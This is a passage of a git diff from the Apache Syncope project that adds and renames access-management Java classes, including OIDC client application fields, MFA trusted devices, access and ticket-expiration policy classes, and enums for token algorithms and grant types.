"org.apache.syncope.common.lib.policy.TicketExpirationPolicyTO") + @Override + public String getDiscriminator() { + return getClass().getName(); + } + + public TicketExpirationPolicyConf getConf() { + return conf; + } + + public void setConf(final TicketExpirationPolicyConf conf) { + this.conf = conf; + } +} diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AuditReportletConf.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TimeBasedAccessPolicyConf.java similarity index 62% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AuditReportletConf.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TimeBasedAccessPolicyConf.java index e248bb5b168..002327339cd 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/report/AuditReportletConf.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/policy/TimeBasedAccessPolicyConf.java @@ -16,27 +16,22 @@ * specific language governing permissions and limitations * under the License. */ -package org.apache.syncope.common.lib.report; +package org.apache.syncope.common.lib.policy; -public class AuditReportletConf extends AbstractReportletConf { +import java.time.ZoneOffset; +import org.apache.syncope.common.lib.to.AbstractStartEndBean; - private static final long serialVersionUID = -4814950086361753689L; +public class TimeBasedAccessPolicyConf extends AbstractStartEndBean implements AccessPolicyConf { - private int size = 10; + private static final long serialVersionUID = 9092023809646651011L; - public AuditReportletConf() { - super(); - } - - public AuditReportletConf(final String name) { - super(name); - } + private String zoneId = ZoneOffset.UTC.getId(); - public int getSize() { - return size; + public String getZoneId() { + return zoneId; } - public void setSize(final int size) { - this.size = size; + public void setZoneId(final String zoneId) { + this.zoneId = zoneId; } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/AuthProfileTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/AuthProfileTO.java index 8904f04f3ce..365699bd34a 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/AuthProfileTO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/AuthProfileTO.java @@ -29,6 +29,7 @@ import org.apache.syncope.common.lib.wa.GoogleMfaAuthAccount; import org.apache.syncope.common.lib.wa.GoogleMfaAuthToken; import org.apache.syncope.common.lib.wa.ImpersonationAccount; +import org.apache.syncope.common.lib.wa.MfaTrustedDevice; import org.apache.syncope.common.lib.wa.U2FDevice; import org.apache.syncope.common.lib.wa.WebAuthnDeviceCredential; @@ -95,6 +96,21 @@ public AuthProfileTO.Builder u2fRegisteredDevices(final Collection de return this; } + public AuthProfileTO.Builder mfaTrustedDevice(final MfaTrustedDevice device) { + instance.getMfaTrustedDevices().add(device); + return this; + } + + public AuthProfileTO.Builder mfaTrustedDevices(final MfaTrustedDevice... devices) { + instance.getMfaTrustedDevices().addAll(List.of(devices)); + return this; + } + + public AuthProfileTO.Builder mfaTrustedDevices(final Collection devices) { + instance.getMfaTrustedDevices().addAll(devices); + return this; + } + public AuthProfileTO.Builder credential(final WebAuthnDeviceCredential credential) { instance.getWebAuthnDeviceCredentials().add(credential); return this; @@ -127,6 +143,8 @@ public AuthProfileTO build() { private final List u2fRegisteredDevices = new ArrayList<>(); + private final List mfaTrustedDevices = new ArrayList<>(); + private final List webAuthnDeviceCredentials = new ArrayList<>(); @Override @@ -172,6 +190,12 @@ public List getU2FRegisteredDevices() { return u2fRegisteredDevices; } + @JacksonXmlElementWrapper(localName = "mfaTrustedDevices") + @JacksonXmlProperty(localName = "mfaTrustedDevice") + public List getMfaTrustedDevices() { + return mfaTrustedDevices; + } + @JacksonXmlElementWrapper(localName = "credentials") @JacksonXmlProperty(localName = "credential") public List getWebAuthnDeviceCredentials() { @@ -187,6 +211,7 @@ public int hashCode() { append(googleMfaAuthTokens). append(googleMfaAuthAccounts). append(u2fRegisteredDevices). + append(mfaTrustedDevices). append(webAuthnDeviceCredentials). build(); } @@ -210,6 +235,7 @@ public boolean equals(final Object obj) { append(googleMfaAuthTokens, other.googleMfaAuthTokens). append(googleMfaAuthAccounts, other.googleMfaAuthAccounts). append(u2fRegisteredDevices, other.u2fRegisteredDevices). + append(mfaTrustedDevices, other.mfaTrustedDevices). append(webAuthnDeviceCredentials, other.webAuthnDeviceCredentials). build(); } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/ClientAppTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/ClientAppTO.java index e1daf364a0c..3bc03d9df42 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/ClientAppTO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/ClientAppTO.java @@ -30,6 +30,8 @@ import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; import org.apache.syncope.common.lib.Attr; +import org.apache.syncope.common.lib.clientapps.UsernameAttributeProviderConf; +import org.apache.syncope.common.lib.types.LogoutType; @JsonTypeInfo(use = JsonTypeInfo.Id.CLASS, include = JsonTypeInfo.As.EXISTING_PROPERTY, property = "_class") @JsonPropertyOrder(value = { "_class", "key", "description" }) @@ -51,18 +53,32 @@ public abstract class ClientAppTO implements NamedEntityTO { private Long clientAppId; + private int evaluationOrder; + private String description; + private String logo; + + private String theme; + + private String informationUrl; + + private String privacyUrl; + + private UsernameAttributeProviderConf usernameAttributeProviderConf; + private String authPolicy; private String accessPolicy; private String attrReleasePolicy; - private String theme; + private String ticketExpirationPolicy; private final List properties = new ArrayList<>(); + private LogoutType logoutType = LogoutType.NONE; + @Schema(name = "_class", requiredMode = Schema.RequiredMode.REQUIRED) public abstract String getDiscriminator(); @@ -70,38 +86,6 @@ public void setDiscriminator(final String discriminator) { // do nothing } - public String getAttrReleasePolicy() { - return attrReleasePolicy; - } - - public void setAttrReleasePolicy(final String attrReleasePolicy) { - this.attrReleasePolicy = attrReleasePolicy; - } - - public String getAccessPolicy() { - return accessPolicy; - } - - public void setAccessPolicy(final String accessPolicy) { - this.accessPolicy = accessPolicy; - } - - public String getAuthPolicy() { - return authPolicy; - } - - public void setAuthPolicy(final String authPolicy) { - this.authPolicy = authPolicy; - } - - public String getTheme() { - return theme; - } - - public void setTheme(final String theme) { - this.theme = theme; - } - @Override public String getKey() { return key; @@ -139,6 +123,14 @@ public void setClientAppId(final Long clientAppId) { this.clientAppId = clientAppId; } + public int getEvaluationOrder() { + return evaluationOrder; + } + + public void setEvaluationOrder(final int evaluationOrder) { + this.evaluationOrder = evaluationOrder; + } + public String getDescription() { return description; } @@ -147,12 +139,92 @@ public void setDescription(final String description) { this.description = description; } + public String getLogo() { + return logo; + } + + public void setLogo(final String logo) { + this.logo = logo; + } + + public String getTheme() { + return theme; + } + + public void setTheme(final String theme) { + this.theme = theme; + } + + public String getInformationUrl() { + return informationUrl; + } + + public void setInformationUrl(final String informationUrl) { + this.informationUrl = informationUrl; + } + + public String getPrivacyUrl() { + return privacyUrl; + } + + public void setPrivacyUrl(final String privacyUrl) { + this.privacyUrl = privacyUrl; + } + + public UsernameAttributeProviderConf getUsernameAttributeProviderConf() { + return usernameAttributeProviderConf; + } + + public void setUsernameAttributeProviderConf(final UsernameAttributeProviderConf usernameAttributeProviderConf) { + this.usernameAttributeProviderConf = usernameAttributeProviderConf; + } + + public String getAttrReleasePolicy() { + return attrReleasePolicy; + } + + public void setAttrReleasePolicy(final String attrReleasePolicy) { + this.attrReleasePolicy = attrReleasePolicy; + } + + public String getAccessPolicy() { + return accessPolicy; + } + + public void setAccessPolicy(final String accessPolicy) { + this.accessPolicy = accessPolicy; + } + + public String getAuthPolicy() { + return authPolicy; + } + + public void setAuthPolicy(final String authPolicy) { + this.authPolicy = authPolicy; + } + + public String getTicketExpirationPolicy() { + return ticketExpirationPolicy; + } + + public void setTicketExpirationPolicy(final String ticketExpirationPolicy) { + this.ticketExpirationPolicy = ticketExpirationPolicy; + } + @JacksonXmlElementWrapper(localName = "properties") @JacksonXmlProperty(localName = "property") public List getProperties() { return properties; } + public LogoutType getLogoutType() { + return logoutType; + } + + public void setLogoutType(final LogoutType logoutType) { + this.logoutType = logoutType; + } + @Override public int hashCode() { return new HashCodeBuilder() @@ -160,13 +232,20 @@ public int hashCode() { .append(key) .append(realm) .append(clientAppId) + .append(evaluationOrder) .append(name) .append(description) + .append(logo) + .append(theme) + .append(informationUrl) + .append(privacyUrl) + .append(usernameAttributeProviderConf) .append(authPolicy) .append(accessPolicy) .append(attrReleasePolicy) - .append(theme) + .append(ticketExpirationPolicy) .append(properties) + .append(logoutType) .toHashCode(); } @@ -187,13 +266,20 @@ public boolean equals(final Object obj) { .append(this.key, rhs.key) .append(this.realm, rhs.realm) .append(this.clientAppId, rhs.clientAppId) + .append(this.evaluationOrder, rhs.evaluationOrder) .append(this.name, rhs.name) .append(this.description, rhs.description) + .append(this.logo, rhs.logo) + .append(this.theme, rhs.theme) + .append(this.informationUrl, rhs.informationUrl) + .append(this.privacyUrl, rhs.privacyUrl) + .append(this.usernameAttributeProviderConf, rhs.usernameAttributeProviderConf) .append(this.authPolicy, rhs.authPolicy) .append(this.accessPolicy, rhs.accessPolicy) .append(this.attrReleasePolicy, rhs.attrReleasePolicy) - .append(this.theme, rhs.theme) + .append(this.ticketExpirationPolicy, rhs.ticketExpirationPolicy) .append(this.properties, rhs.properties) + .append(this.logoutType, rhs.logoutType) .isEquals(); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/OIDCRPClientAppTO.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/OIDCRPClientAppTO.java index a40eae7aac3..eb77daedd7f 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/OIDCRPClientAppTO.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/to/OIDCRPClientAppTO.java @@ -26,9 +26,14 @@ import java.util.List; import org.apache.commons.lang3.builder.EqualsBuilder; import org.apache.commons.lang3.builder.HashCodeBuilder; +import org.apache.syncope.common.lib.types.OIDCApplicationType; +import org.apache.syncope.common.lib.types.OIDCClientAuthenticationMethod; import org.apache.syncope.common.lib.types.OIDCGrantType; import org.apache.syncope.common.lib.types.OIDCResponseType; import org.apache.syncope.common.lib.types.OIDCSubjectType; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionAlg; +import org.apache.syncope.common.lib.types.OIDCTokenEncryptionEncoding; +import org.apache.syncope.common.lib.types.OIDCTokenSigningAlg; @Schema(allOf = { ClientAppTO.class }) public class OIDCRPClientAppTO extends ClientAppTO { @@ -39,11 +44,33 @@ public class OIDCRPClientAppTO extends ClientAppTO { private String clientSecret; - private boolean signIdToken; + private String idTokenIssuer; + + private boolean signIdToken = true; + + private OIDCTokenSigningAlg idTokenSigningAlg = OIDCTokenSigningAlg.none; + + private boolean encryptIdToken; + + private OIDCTokenEncryptionAlg idTokenEncryptionAlg = OIDCTokenEncryptionAlg.none; + + private OIDCTokenEncryptionEncoding idTokenEncryptionEncoding; + + private OIDCTokenSigningAlg userInfoSigningAlg; + + private OIDCTokenEncryptionAlg userInfoEncryptedResponseAlg; + + private OIDCTokenEncryptionEncoding userInfoEncryptedResponseEncoding; private boolean jwtAccessToken; - private OIDCSubjectType subjectType; + private boolean bypassApprovalPrompt = true; + + private boolean generateRefreshToken = true; + + private OIDCSubjectType subjectType = OIDCSubjectType.PUBLIC; + + private OIDCApplicationType applicationType = OIDCApplicationType.WEB; private final List redirectUris = new ArrayList<>(); @@ -51,9 +78,16 @@ public class OIDCRPClientAppTO extends ClientAppTO { private final List supportedResponseTypes = new ArrayList<>(); - private String logoutUri; + private final List scopes = new ArrayList<>(); - private boolean bypassApprovalPrompt = true; + private String jwks; + + private String jwksUri; + + private OIDCClientAuthenticationMethod tokenEndpointAuthenticationMethod = + OIDCClientAuthenticationMethod.client_secret_basic; + + private String logoutUri; @JacksonXmlProperty(localName = "_class", isAttribute = true) @JsonProperty("_class") @@ -98,6 +132,14 @@ public List getSupportedResponseTypes() { return supportedResponseTypes; } + public String getIdTokenIssuer() { + return idTokenIssuer; + } + + public void setIdTokenIssuer(final String idTokenIssuer) { + this.idTokenIssuer = idTokenIssuer; + } + public boolean isSignIdToken() { return signIdToken; } @@ -106,6 +148,62 @@ public void setSignIdToken(final boolean signIdToken) { this.signIdToken = signIdToken; } + public boolean isEncryptIdToken() { + return encryptIdToken; + } + + public void setEncryptIdToken(final boolean encryptIdToken) { + this.encryptIdToken = encryptIdToken; + } + + public OIDCTokenSigningAlg getIdTokenSigningAlg() { + return idTokenSigningAlg; + } + + public void setIdTokenSigningAlg(final OIDCTokenSigningAlg idTokenSigningAlg) { + this.idTokenSigningAlg = idTokenSigningAlg; + } + + public OIDCTokenEncryptionAlg getIdTokenEncryptionAlg() { + return idTokenEncryptionAlg; + } + + public void setIdTokenEncryptionAlg(final OIDCTokenEncryptionAlg idTokenEncryptionAlg) { + this.idTokenEncryptionAlg = idTokenEncryptionAlg; + } + + public OIDCTokenEncryptionEncoding getIdTokenEncryptionEncoding() { + return idTokenEncryptionEncoding; + } + + public void setIdTokenEncryptionEncoding(final OIDCTokenEncryptionEncoding idTokenEncryptionEncoding) { + this.idTokenEncryptionEncoding = idTokenEncryptionEncoding; + } + + public OIDCTokenSigningAlg getUserInfoSigningAlg() { + return userInfoSigningAlg; + } + + public void setUserInfoSigningAlg(final OIDCTokenSigningAlg userInfoSigningAlg) { + this.userInfoSigningAlg = userInfoSigningAlg; + } + + public OIDCTokenEncryptionAlg getUserInfoEncryptedResponseAlg() { + return userInfoEncryptedResponseAlg; + } + + public void setUserInfoEncryptedResponseAlg(final OIDCTokenEncryptionAlg userInfoEncryptedResponseAlg) { + this.userInfoEncryptedResponseAlg = userInfoEncryptedResponseAlg; + } + + public OIDCTokenEncryptionEncoding getUserInfoEncryptedResponseEncoding() { + return userInfoEncryptedResponseEncoding; + } + + public void setUserInfoEncryptedResponseEncoding(final OIDCTokenEncryptionEncoding encoding) { + this.userInfoEncryptedResponseEncoding = encoding; + } + public OIDCSubjectType getSubjectType() { return subjectType; } @@ -114,12 +212,12 @@ public void setSubjectType(final OIDCSubjectType subjectType) { this.subjectType = subjectType; } - public String getLogoutUri() { - return logoutUri; + public OIDCApplicationType getApplicationType() { + return applicationType; } - public void setLogoutUri(final String logoutUri) { - this.logoutUri = logoutUri; + public void setApplicationType(final OIDCApplicationType applicationType) { + this.applicationType = applicationType; } public boolean isJwtAccessToken() { @@ -130,6 +228,12 @@ public void setJwtAccessToken(final boolean jwtAccessToken) { this.jwtAccessToken = jwtAccessToken; } + @JacksonXmlElementWrapper(localName = "scopes") + @JacksonXmlProperty(localName = "scope") + public List getScopes() { + return scopes; + } + public boolean isBypassApprovalPrompt() { return bypassApprovalPrompt; } @@ -138,6 +242,47 @@ public void setBypassApprovalPrompt(final boolean bypassApprovalPrompt) { this.bypassApprovalPrompt = bypassApprovalPrompt; } + public boolean isGenerateRefreshToken() { + return generateRefreshToken; + } + + public void setGenerateRefreshToken(final boolean generateRefreshToken) { + this.generateRefreshToken = generateRefreshToken; + } + + public String getJwks() { + return jwks; + } + + public void setJwks(final String jwks) { + this.jwks = jwks; + } + + public String getJwksUri() { + return jwksUri; + } + + public void setJwksUri(final String jwksUri) { + this.jwksUri = jwksUri; + } + + public OIDCClientAuthenticationMethod getTokenEndpointAuthenticationMethod() { + return tokenEndpointAuthenticationMethod; + } + + public void setTokenEndpointAuthenticationMethod( + final OIDCClientAuthenticationMethod tokenEndpointAuthenticationMethod) { + this.tokenEndpointAuthenticationMethod = tokenEndpointAuthenticationMethod; + } + + public String getLogoutUri() { + return logoutUri; + } + + public void setLogoutUri(final String logoutUri) { + this.logoutUri = logoutUri; + } + @Override public boolean equals(final Object obj) { if (obj == null) { @@ -154,14 +299,28 @@ public boolean equals(final Object obj) { .appendSuper(super.equals(obj)) .append(this.clientId, rhs.clientId) .append(this.clientSecret, rhs.clientSecret) + .append(this.idTokenIssuer, rhs.idTokenIssuer) .append(this.signIdToken, rhs.signIdToken) + .append(this.idTokenSigningAlg, rhs.idTokenSigningAlg) + .append(this.encryptIdToken, rhs.encryptIdToken) + .append(this.idTokenEncryptionAlg, rhs.idTokenEncryptionAlg) + .append(this.idTokenEncryptionEncoding, rhs.idTokenEncryptionEncoding) + .append(this.userInfoSigningAlg, rhs.userInfoSigningAlg) + .append(this.userInfoEncryptedResponseAlg, rhs.userInfoEncryptedResponseAlg) + .append(this.userInfoEncryptedResponseEncoding, rhs.userInfoEncryptedResponseEncoding) + .append(this.jwtAccessToken, rhs.jwtAccessToken) + .append(this.bypassApprovalPrompt, rhs.bypassApprovalPrompt) + .append(this.generateRefreshToken, rhs.generateRefreshToken) .append(this.subjectType, rhs.subjectType) + .append(this.applicationType, rhs.applicationType) .append(this.redirectUris, rhs.redirectUris) .append(this.supportedGrantTypes, rhs.supportedGrantTypes) .append(this.supportedResponseTypes, rhs.supportedResponseTypes) + .append(this.scopes, rhs.scopes) + .append(this.jwks, rhs.jwks) + .append(this.jwksUri, rhs.jwksUri) + .append(this.tokenEndpointAuthenticationMethod, rhs.tokenEndpointAuthenticationMethod) .append(this.logoutUri, rhs.logoutUri) - .append(this.jwtAccessToken, rhs.jwtAccessToken) - .append(this.bypassApprovalPrompt, rhs.bypassApprovalPrompt) .isEquals(); } @@ -171,14 +330,28 @@ public int hashCode() { .appendSuper(super.hashCode()) .append(clientId) .append(clientSecret) + .append(idTokenIssuer) .append(signIdToken) + .append(idTokenSigningAlg) + .append(encryptIdToken) + .append(idTokenEncryptionAlg) + .append(idTokenEncryptionEncoding) + .append(userInfoSigningAlg) + .append(userInfoEncryptedResponseAlg) + .append(userInfoEncryptedResponseEncoding) + .append(jwtAccessToken) + .append(bypassApprovalPrompt) + .append(generateRefreshToken) .append(subjectType) + .append(applicationType) .append(redirectUris) .append(supportedGrantTypes) .append(supportedResponseTypes) + .append(scopes) + .append(jwks) + .append(jwksUri) + .append(tokenEndpointAuthenticationMethod) .append(logoutUri) - .append(jwtAccessToken) - .append(bypassApprovalPrompt) .toHashCode(); } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/AMEntitlement.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/AMEntitlement.java index a80ecbe5c4d..7b914dff91c 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/AMEntitlement.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/AMEntitlement.java @@ -48,8 +48,6 @@ public final class AMEntitlement { public static final String CLIENTAPP_DELETE = "CLIENTAPP_DELETE"; - public static final String CLIENTAPP_PUSH = "CLIENTAPP_PUSH"; - public static final String AUTH_MODULE_LIST = "AUTH_MODULE_LIST"; public static final String AUTH_MODULE_CREATE = "AUTH_MODULE_CREATE"; diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecExportFormat.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/CaseCanonicalizationMode.java similarity index 91% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecExportFormat.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/types/CaseCanonicalizationMode.java index 9b95af22b27..cf5fb1cffec 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecExportFormat.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/CaseCanonicalizationMode.java @@ -18,12 +18,10 @@ */ package org.apache.syncope.common.lib.types; -public enum ReportExecExportFormat { +public enum CaseCanonicalizationMode { - XML, - HTML, - PDF, - RTF, - CSV + LOWER, + UPPER, + NONE; } diff --git a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecStatus.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/LogoutType.java similarity index 91% rename from common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecStatus.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/types/LogoutType.java index 2cbece1e7c4..03ddee713b1 100644 --- a/common/idrepo/lib/src/main/java/org/apache/syncope/common/lib/types/ReportExecStatus.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/LogoutType.java @@ -18,11 +18,9 @@ */ package org.apache.syncope.common.lib.types; -public enum ReportExecStatus { - - STARTED, - RUNNING, - SUCCESS, - FAILURE; +public enum LogoutType { + NONE, + BACK_CHANNEL, + FRONT_CHANNEL } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCApplicationType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCApplicationType.java new file mode 100644 index 00000000000..9d5f8d13831 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCApplicationType.java @@ -0,0 +1,34 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum OIDCApplicationType { + WEB("web"), + NATIVE("native"); + + private final String externalForm; + + OIDCApplicationType(final String external) { + this.externalForm = external; + } + + public String getExternalForm() { + return externalForm; + } +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCClientAuthenticationMethod.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCClientAuthenticationMethod.java new file mode 100644 index 00000000000..c7165200b9c --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCClientAuthenticationMethod.java @@ -0,0 +1,28 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum OIDCClientAuthenticationMethod { + client_secret_basic, + client_secret_post, + client_secret_jwt, + private_key_jwt, + tls_client_auth; + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCGrantType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCGrantType.java index c1471b10105..d97833e4b97 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCGrantType.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCGrantType.java @@ -19,9 +19,20 @@ package org.apache.syncope.common.lib.types; public enum OIDCGrantType { - authorization_code, - password, - client_credentials, - refresh_token; + authorization_code("authorization_code"), + password("password"), + client_credentials("client_credentials"), + refresh_token("refresh_token"), + device_code("urn:ietf:params:oauth:grant-type:device_code"), + uma_ticket("urn:ietf:params:oauth:grant-type:uma-ticket"); + private final String externalForm; + + OIDCGrantType(final String external) { + this.externalForm = external; + } + + public String getExternalForm() { + return externalForm; + } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCResponseType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCResponseType.java index 2ccffa9c21f..7e2b8cb90f1 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCResponseType.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCResponseType.java @@ -21,7 +21,9 @@ public enum OIDCResponseType { CODE("code"), TOKEN("token"), - ID_TOKEN_TOKEN("id_token token"); + ID_TOKEN("id_token"), + ID_TOKEN_TOKEN("id_token token"), + DEVICE_CODE("device_code"); private final String externalForm; diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCSubjectType.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCSubjectType.java index 9a1caeca9b7..4fa75b17535 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCSubjectType.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCSubjectType.java @@ -19,7 +19,16 @@ package org.apache.syncope.common.lib.types; public enum OIDCSubjectType { - PAIRWISE, - PUBLIC + PUBLIC("public"), + PAIRWISE("pairwise"); + private final String externalForm; + + OIDCSubjectType(final String external) { + this.externalForm = external; + } + + public String getExternalForm() { + return externalForm; + } } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionAlg.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionAlg.java new file mode 100644 index 00000000000..0c2b813d7e2 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionAlg.java @@ -0,0 +1,47 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum OIDCTokenEncryptionAlg { + none("none"), + RSA1("RSA1_5"), + RSA_OAEP("RSA-OAEP"), + RSA_OAEP_256("RSA-OAEP-256"), + A128KW("A128KW"), + A192KW("A192KW"), + A256KW("A256KW"), + A128GCMKW("A128GCMKW"), + A192GCMKW("A192GCMKW"), + A256GCMKW("A256GCMKW"), + ECDH_ES("ECDH-ES"), + ECDH_ES_A128KW("ECDH-ES+A128KW"), + ECDH_ES_A192KW("ECDH-ES+A192KW"), + ECDH_ES_A256KW("ECDH-ES+A256KW"); + + private final String externalForm; + + OIDCTokenEncryptionAlg(final String external) { + this.externalForm = external; + } + + public String getExternalForm() { + return externalForm; + } + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionEncoding.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionEncoding.java new file mode 100644 index 00000000000..6e397972499 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenEncryptionEncoding.java @@ -0,0 +1,39 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum OIDCTokenEncryptionEncoding { + A128CBC_HS256("A128CBC-HS256"), + A192CBC_HS384("A192CBC-HS384"), + A256CBC_HS512("A256CBC-HS512"), + A128GCM("A128GCM"), + A192GCM("A192GCM"), + A256GCM("A256GCM"); + + private final String externalForm; + + OIDCTokenEncryptionEncoding(final String external) { + this.externalForm = external; + } + + public String getExternalForm() { + return externalForm; + } + +} diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/JWSAlgorithm.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenSigningAlg.java similarity index 94% rename from common/am/lib/src/main/java/org/apache/syncope/common/lib/types/JWSAlgorithm.java rename to common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenSigningAlg.java index 015a9d2ec7c..0751147b95c 100644 --- a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/JWSAlgorithm.java +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/OIDCTokenSigningAlg.java @@ -18,20 +18,19 @@ */ package org.apache.syncope.common.lib.types; -public enum JWSAlgorithm { - HS256, - HS384, - HS512, +public enum OIDCTokenSigningAlg { + none, RS256, RS384, RS512, - ES256, - ES384, - ES512, PS256, PS384, PS512, - EdDSA, - ES256K; + ES256, + ES384, + ES512, + HS256, + HS384, + HS512; } diff --git a/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/PersistentIdGenerator.java b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/PersistentIdGenerator.java new file mode 100644 index 00000000000..f30c0818e03 --- /dev/null +++ b/common/am/lib/src/main/java/org/apache/syncope/common/lib/types/PersistentIdGenerator.java @@ -0,0 +1,25 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.common.lib.types; + +public enum PersistentIdGenerator { + 